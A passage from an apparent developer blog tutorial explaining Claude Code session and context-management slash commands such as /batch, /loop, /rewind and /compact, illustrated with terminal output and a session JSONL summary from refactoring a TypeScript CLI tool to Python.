&lt;p&gt;Extensions&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/hooks&lt;/code&gt;: View hook configurations for tool events&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/skills&lt;/code&gt;: View installed skills&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/agents&lt;/code&gt;: Create and manage agents&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/mcp&lt;/code&gt;: Set up and manage MCP server definitions&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/chrome&lt;/code&gt;: Start a local Chromium browser for browser interaction&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/plugin&lt;/code&gt;: Browse and configure CLI extension&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/reload-plugins&lt;/code&gt;: Reload all configured plugins&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Integrations&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/ide&lt;/code&gt;: Show IDE integrations for Claude, for example in Visual Studio Code&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/install-github-app&lt;/code&gt;: Configure GitHub actions that interact with Claude&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/install-slack-app&lt;/code&gt;: Configure Slack integration&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/mobile&lt;/code&gt;: Show a QR code to download the iOS or Android app&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/claude-api&lt;/code&gt;: Build native apps that integrate with Anthropic SDK&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Groups and commands marked with ✅ were covered in an earlier article, while those with 🌀 are the focus of this article.&lt;/p&gt;

&lt;h2&gt;
  
  
  Session Management
&lt;/h2&gt;

&lt;h3&gt;
  
  
  &lt;code&gt;/batch&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;In a conventional session with Claude Code, commands are executed linearly. A user prompt gets embedded into a system prompt, the LLM provider process the prompts in thinking mode, suggest tool calls that are executed and looped back to the model, until the model declares a task completed.&lt;/p&gt;

&lt;p&gt;To accelerate the execution of complex tasks, the batch command takes a stored plan, analyzes it, and depatches several sub-agents to work on it.&lt;/p&gt;

&lt;p&gt;Here is an example of invoking that command to refactor my skill-converter app from NodeJS to Python.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/batch implement the universal-skill-converter plan

● I&lt;span class="s1"&gt;'ll implement the universal-skill-converter refactoring to Python. Let me start by
  entering plan mode to create a detailed batch execution plan.

● Entered plan mode
  Claude is now exploring and designing an implementation approach.

∴ Thinking…

  The user is now asking me to implement the universal-skill-converter plan. They'&lt;/span&gt;ve given me
   the /batch &lt;span class="nb"&gt;command &lt;/span&gt;which means I need to:

  1. Enter plan mode
  2. Research the scope &lt;span class="o"&gt;(&lt;/span&gt;I&lt;span class="s1"&gt;'ve already done this in the previous conversation)
  3. Decompose into independent units
  4. Determine e2e test recipe
  5. Write the plan
  6. Exit plan mode
  7. Spawn workers

  I already have a comprehensive understanding of the codebase from the previous exploration.
   Let me now create a proper plan for the batch execution.

  From the previous exploration, I know:
  - The project is a TypeScript/Node.js CLI tool that converts skills from skill.sh to
  clawhub format
  - It has 14 TypeScript modules in src/lib/
  - It has CLI commands in src/commands/
  - It has types in src/types/
  - It has UI in src/ui/
  - There are 94 tests

  For the batch approach, I need to:
  1. Create work units that are independently implementable
  2. Each unit should be in an isolated worktree
  3. Each unit should be mergeable on its own
  4. Each unit should be roughly uniform in size
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/btw&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Instructions entered in the CLI start a long-running process. The process can be interrupted by pressing &lt;code&gt;ESC&lt;/code&gt;, or aborted with &lt;code&gt;ESC-ESC&lt;/code&gt;. If you want to let Claude on a parallel task, the "by-the-way" command can be executed.&lt;/p&gt;

&lt;p&gt;Here is an example for this invocation during the refactoring to Python main task&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/btw list background processes

    I don&lt;span class="s1"&gt;'t have access to any tools to list background processes. As a separate lightweight
    agent without file system or command execution capabilities, I cannot run commands or
    view the system'&lt;/span&gt;s process list.

    You would need to use your terminal&lt;span class="s1"&gt;'s commands directly, such as:
    - ps aux (Linux/macOS)
    - tasklist (Windows)
    - pgrep (to find specific processes)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/loop&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;This command allows you to run a specififc prompt or other command periodically. This can be helpfull in long running sessions, when you want to e.g. update documents like the &lt;code&gt;CLAUDE.md&lt;/code&gt; file, or run linter or test commands on code bases.&lt;/p&gt;

&lt;p&gt;Here is an example.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/loop 1m &lt;span class="s2"&gt;"run /init"&lt;/span&gt;

● CronCreate&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;/1 &lt;span class="k"&gt;*&lt;/span&gt; &lt;span class="k"&gt;*&lt;/span&gt; &lt;span class="k"&gt;*&lt;/span&gt; &lt;span class="k"&gt;*&lt;/span&gt;: run /init&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿ &amp;nbsp;Scheduled d6ad1c81 &lt;span class="o"&gt;(&lt;/span&gt;Every minute&lt;span class="o"&gt;)&lt;/span&gt;

● Skill&lt;span class="o"&gt;(&lt;/span&gt;init&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿ &amp;nbsp;Successfully loaded skill

  Searched &lt;span class="k"&gt;for &lt;/span&gt;3 patterns, &lt;span class="nb"&gt;read &lt;/span&gt;1 file &lt;span class="o"&gt;(&lt;/span&gt;ctrl+o to &lt;span class="nb"&gt;expand&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;

● The CLAUDE.md already exists at /opt/claude/universal-skill-converter/CLAUDE.md and appears comprehensive and
  accurate. It includes:

  - Commands: dev, build, &lt;span class="nb"&gt;test&lt;/span&gt;, coverage, typecheck, lint, format
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/tasks&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;During investigating complex code bases, or when working with the &lt;code&gt;/batch&lt;/code&gt; command, several parallel running tasks are spawned, including tool calls and agent invocations. They can be observed with the same-named command.&lt;/p&gt;

&lt;p&gt;Here is an example during the above refactoring step.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;● Let me explore the codebase more thoroughly to create an effective batch execution plan.

● Read&lt;span class="o"&gt;(&lt;/span&gt;/opt/claude/universal-skill-converter/package.json&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Read 50 lines

● Read&lt;span class="o"&gt;(&lt;/span&gt;/opt/claude/universal-skill-converter/tsconfig.json&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Read 21 lines

● Search&lt;span class="o"&gt;(&lt;/span&gt;pattern: &lt;span class="s2"&gt;"src/**/*.ts"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Found 18 files
     src/lib/meta.ts
     src/lib/path.ts
     src/lib/slug.ts
     src/lib/errors.ts
     src/lib/fs.ts
     src/lib/migrate.ts
     src/lib/yaml.ts
     src/commands/convert.ts
     src/index.ts
     src/lib/converter.ts
     src/lib/marker.ts
     src/lib/remote.ts
     src/lib/transform.ts
     src/lib/validator.ts
     src/types/index.ts
     src/ui/output.ts
     src/ui/prompts.ts
     src/ui/verbose.ts

● Read&lt;span class="o"&gt;(&lt;/span&gt;/opt/claude/universal-skill-converter/src/commands/convert.ts&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Read 227 lines

● Read&lt;span class="o"&gt;(&lt;/span&gt;/opt/claude/universal-skill-converter/src/lib/converter.ts&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Read 102 lines

● Read&lt;span class="o"&gt;(&lt;/span&gt;/opt/claude/universal-skill-converter/src/types/index.ts&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Read 96 lines

● Read&lt;span class="o"&gt;(&lt;/span&gt;/opt/claude/universal-skill-converter/src/ui/output.ts&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Read 64 lines

● Read&lt;span class="o"&gt;(&lt;/span&gt;/opt/claude/universal-skill-converter/vitest.config.ts&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Read 15 lines

● Read&lt;span class="o"&gt;(&lt;/span&gt;/opt/claude/universal-skill-converter/README.md&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Read 314 lines

● Read&lt;span class="o"&gt;(&lt;/span&gt;/opt/claude/universal-skill-converter/src/lib/remote.ts&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Read 334 lines

● Read&lt;span class="o"&gt;(&lt;/span&gt;/opt/claude/universal-skill-converter/src/lib/marker.ts&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Read 61 lines

● Read&lt;span class="o"&gt;(&lt;/span&gt;/opt/claude/universal-skill-converter/src/lib/metadata.ts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/branch&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;&lt;em&gt;Note: This command's name was &lt;code&gt;/fork&lt;/code&gt; up until &lt;code&gt;Claude Code v2.1.77&lt;/code&gt;&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;Normally, your prompts and the tools responses form a linear structure. If you are at a decisive point, e.g. during refactoring, and want to investigate different outcomes, you can create a fork from this conversation.&lt;/p&gt;

&lt;p&gt;Executing this command effectively copies your current session to a new one, and prints how to resume the existing one.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/fork
 Branched conversation. You are now &lt;span class="k"&gt;in &lt;/span&gt;the branch.
     To resume the original: claude &lt;span class="nt"&gt;-r&lt;/span&gt; d907194e-ba58-4640-9e32-49727cc351b5
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/rewind&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Conversations are a linear sequence of user prompts, LLM invocation, and printed answers. Every interaction point, and the state of the current working directory, is stored as an internal snapshot. If, during a longer session, the code base you are working on evolved to an undesired state, you can rollback to any of those snapshots.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;/rewind&lt;/code&gt; command first shows you all of these snapshots ...&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt; Rewind

 Restore the code and/or conversation to the point before…

   Refactor this app to python. Write the plan file &lt;span class="s2"&gt;"refactor-to-python.md"&lt;/span&gt;
   No code changes

   /model
   No code changes

   Refactor this app to python. Write the plan file &lt;span class="s2"&gt;"refactor-to-python.md"&lt;/span&gt;
   serene-waddling-newt.md +553 &lt;span class="nt"&gt;-2&lt;/span&gt;

 ❯ /batch implement the universal-skill-converter plan
   No code changes

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;... and the allows cursor navigation to select from where to rebegin. When you make a selection, you are asked what to keep.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt; Confirm you want to restore to the point before you sent this message:

 │ Refactor this app to python. Write the plan file &lt;span class="s2"&gt;"refactor-to-python.md"&lt;/span&gt;
 │ &lt;span class="o"&gt;(&lt;/span&gt;52m ago&lt;span class="o"&gt;)&lt;/span&gt;

 The conversation will be forked.
 The code will be restored +0 &lt;span class="nt"&gt;-550&lt;/span&gt; &lt;span class="k"&gt;in &lt;/span&gt;serene-waddling-newt.md.

 ❯ 1. Restore code and conversation
   2. Restore conversation
   3. Restore code
   4. Summarize from here
   5. Never mind

 ⚠ Rewinding does not affect files edited manually or via bash.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/exit&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;The current session can be immediately stopped with this command. The return message will either name the session ID, the session name if you provided one, or if you used the &lt;code&gt;/branch&lt;/code&gt; command, its name.&lt;/p&gt;

&lt;p&gt;For a named session:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Resume this session with:
claude &lt;span class="nt"&gt;--resume&lt;/span&gt; &lt;span class="s2"&gt;"refactor-to-python"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And for a branch:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;❯ /exit
Resume this session with:
claude &lt;span class="nt"&gt;--resume&lt;/span&gt; &lt;span class="s2"&gt;"Refactor this app to python. Write the plan file &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;refactor-to-python.md&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt; (Branch)"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/resume&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;An exited conversation can be resumed either via the CLI flag or when inside a session. Here is an example for the second option.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/resume refactor-to-python
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Context Management
&lt;/h2&gt;

&lt;h3&gt;
  
  
  &lt;code&gt;/context&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Context is the sum of the loaded &lt;code&gt;CLAUDE.md&lt;/code&gt; files, memory files, prompts, mcp servers, skills, user and system messages. During long sessions, the context fills up, and this command visualizes the accumulated structure.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F03ptnx6ezy0raz37lwg4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F03ptnx6ezy0raz37lwg4.png" width="656" height="646"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;code&gt;/compact&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;During very long sessions with Claude, answer quality might degrade, code quality drops, and more and more fixes are required to keep code running. This is an indicator that the overall context contains too many instructions, which confuse the model.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;/compact&lt;/code&gt; command refreshes the context. But what actually happens when this command is executed? The JSONL session file is amended with a new document. And this document summaries the most important user and system messages. And from then on, any new request that is send to the LLM provider starts with this summary document only, resulting in an alltogether fresh context.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;❯ /compact
  ⎿  Compacted &lt;span class="o"&gt;(&lt;/span&gt;ctrl+o to see full summary&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Read src/lib/remote.ts &lt;span class="o"&gt;(&lt;/span&gt;334 lines&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Read src/lib/marker.ts &lt;span class="o"&gt;(&lt;/span&gt;61 lines&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Read README.md &lt;span class="o"&gt;(&lt;/span&gt;314 lines&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Read src/ui/output.ts &lt;span class="o"&gt;(&lt;/span&gt;64 lines&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Plan file referenced &lt;span class="o"&gt;(&lt;/span&gt;~/.claude/plans/fluttering-growing-lecun.md&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Observe the new document in the session history:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"parentUuid"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"logicalParentUuid"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"b165d9aa-6aab-4597-9187-954b7f5c6666"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"isSidechain"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"system"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"subtype"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"compact_boundary"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"content"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Conversation compacted"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"isMeta"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"timestamp"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2026-04-09T15:58:03.769Z"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"uuid"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"a37533f8-0993-4750-964c-8ba724430fe8"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"level"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"info"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"compactMetadata"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"trigger"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"manual"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"preTokens"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;54247&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"userType"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"external"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"entrypoint"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"cli"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"cwd"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"/opt/claude/universal-skill-converter"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"sessionId"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"3a0213a0-5ef4-420c-8d11-1bda03f41a1a"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"version"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2.1.91"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"gitBranch"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"feature/refactor-to-python"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"slug"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"fluttering-growing-lecun"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"parentUuid"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"a37533f8-0993-4750-964c-8ba724430fe8"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"isSidechain"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"user"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"message"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"role"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"user"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"content"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"This session is being continued from a previous conversation that ran out of context. The summary below covers the earlier portion of the conversation.
  Summary:
  1. Primary Request and Intent:
     - Refactor the universal-skill-converter app from TypeScript to Python
     - Create plan file &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;refactor-to-python.md&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;
     - Later: Execute the plan using batch mode with parallel workers
     - Maintain all functionality (local and remote conversion, 10-step conversion process)
     - Preserve security features (safe YAML parsing, path validation)
     - Maintain testing coverage (&amp;gt;70% target)
     - Keep identical CLI interface and command names
  2. Key Technical Concepts:
     - TypeScript/Node.js to Python migration
     - CLI framework (Click instead of commander)
     - Data validation (Pydantic instead of Zod)
     - YAML parsing with safe_load equivalent
     - Terminal formatting (Rich instead of picocolors + @clack/prompts)
     - Git operations (GitPython)
     - File system operations (sync instead of async)
     - Layered architecture (CLI, Core, Models, UI layers)
     - Skill format conversion (skill.sh → clawhub)
     - GitHub repository fetching and caching
     - Test-driven development with pytest
  3. Files and Code Sections:
     - `/opt/claude/universal-skill-converter/package.json`
       - Contains project metadata and dependencies
       - Shows current tech stack: commander, js-yaml, zod, @clack/prompts
       - Scripts: dev, build, test, typecheck, lint, format

     - `/opt/claude/universal-skill-converter/tsconfig.json`
       - TypeScript configuration with strict mode enabled
       - ESNext target with bundler module resolution

     - `/opt/claude/universal-skill-converter/src/commands/convert.ts`
       - Main CLI command implementation (226 lines)
       - Handles remote/local source detection
       - Options: path, output, force, verbose, json, skill, ref, keep-temp
       - Command structure: `skill-convert convert &amp;lt;path-or-url&amp;gt;`

     - `/opt/claude/universal-skill-converter/src/lib/converter.ts`
       - Conversion orchestrator (101 lines)
       - 10-step conversion process: marker check, validation, file reading, directory creation, metadata generation, transformation, migration, license copy, scripts copy, marker creation

     - `/opt/claude/universal-skill-converter/src/types/index.ts`
       - Zod schemas for type safety
       - ConvertOptionsSchema, SkillShFrontmatterSchema, ClawhubFrontmatterSchema, MetaJsonSchema, ConversionMarkerSchema, ConversionResultSchema, ValidationResultSchema, ConversionContextSchema

     - `/opt/claude/universal-skill-converter/src/lib/remote.ts`
       - GitHub repository handling (333 lines)
       - Functions: parseRemoteSource, isRemoteSource, validateGitInstalled, validateGitHubRepo, fetchGitHubRepo, fetchRemoteSkill, retryWithBackoff
       - Caching in ~/.skill-convert/cache/ for 24 hours

     - `/opt/claude/universal-skill-converter/src/lib/marker.ts`
       - Conversion tracking with .converted_from_skillsh marker file
       - Functions: readConversionMarker, writeConversionMarker, isAlreadyConverted, removeConversionMarker

     - `/home/node/.claude/plans/serene-waddling-newt.md`
       - Comprehensive Python refactoring plan
       - Detailed file structure mapping (14 TypeScript modules → Python equivalents)
       - Module-by-module implementation details
       - Testing strategy with pytest
       - Migration phases and timeline (~12 hours)
  4. Errors and fixes:
     - No technical errors encountered during conversation
     - User feedback: When I attempted to exit plan mode, user said &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;No&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt; and indicated they didn't want the plan executed at that time
     - User later provided specific preferences: Click framework, identical interface, &amp;gt;70% coverage, sync I/O
  5. Problem Solving:
     - Analyzed existing TypeScript codebase architecture to understand conversion requirements
     - Designed Python equivalent tech stack (Click, Pydantic, Rich, GitPython)
     - Mapped TypeScript modules to Python equivalents
     - Created detailed implementation plan with work units for parallel execution
     - Established testing strategy with pytest and temporary directory isolation
  6. All user messages:
     - &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;Refactor this app to python. Write the plan file 'refactor-to-python.md'&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;
     - User answers to design questions: Click framework, identical interface, &amp;gt;70% coverage, sync I/O
     - &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;No, don't execute the plan.&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;
     - &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;implement the universal-skill-converter plan&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt; (via /batch command)
  7. Pending Tasks:
     - Complete the batch execution plan with work unit decomposition
     - Determine e2e test recipe for verifying conversions
